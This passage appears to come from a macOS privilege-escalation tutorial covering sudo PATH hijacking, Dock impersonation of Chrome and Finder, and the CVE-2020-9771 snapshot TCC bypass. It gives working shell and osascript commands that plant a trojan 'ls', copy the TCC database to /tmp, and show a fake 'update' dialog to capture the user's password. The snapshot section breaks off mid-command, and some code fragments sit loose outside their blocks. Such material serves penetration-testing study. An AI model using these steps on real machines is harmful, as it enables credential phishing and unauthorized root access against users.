You can find the original [Sudo Hijacking technique inside the Linux Privilege Escalation post](../../linux-hardening/privilege-escalation/#sudo-hijacking).
However, macOS **maintains** the user's **`PATH`** when he executes **`sudo`**. Which means that another way to achieve this attack would be to **hijack other binaries** that the victim sill execute when **running sudo:**
```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
```
Note that a user that uses the terminal will highly probable have **Homebrew installed**. So it's possible to hijack binaries in **`/opt/homebrew/bin`**.
### Dock Impersonation
Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script:
{% tabs %}
{% tab title="Chrome Impersonation" %}
Some suggestions:
* Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake****Chrome entry in the same position** in the Dock array. 
```bash
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
* You **cannot remove Finder from the Dock**, so if you are going to add it to the Dock, you could put the fake Finder just next to the real one. For this you need to **add the fake Finder entry at the beginning of the Dock array**.
* Another option is to not place it in the Dock and just open it, "Finder asking to control Finder" is not that weird.
* Another options to **escalate to root without asking** the password with a horrible box, is make Finder really ask for the password to perform a privileged action:
* Ask Finder to copy to **`/etc/pam.d`** a new **`sudo`** file (The prompt asking for the password will indicate that "Finder wants to copy sudo")
* Ask Finder to copy a new **Authorization Plugin** (You could control the file name so the prompt asking for the password will indicate that "Finder wants to copy Finder.bundle")
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
### CVE-2020-9771 - mount\_apfs TCC bypass and privilege escalation
**Any user** (even unprivileged ones) can create and mount a time machine snapshot an **access ALL the files** of that snapshot.\
The **only privileged** needed is for the application used (like `Terminal`) to have **Full Disk Access** (FDA) access (`kTCCServiceSystemPolicyAllfiles`) which need to be granted by an admin.
{% code overflow="wrap" %}
```bash
# Create snapshot
tmutil localsnapshot
# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
# Mount it, "noowners" will mount the folder so the current user can access everything
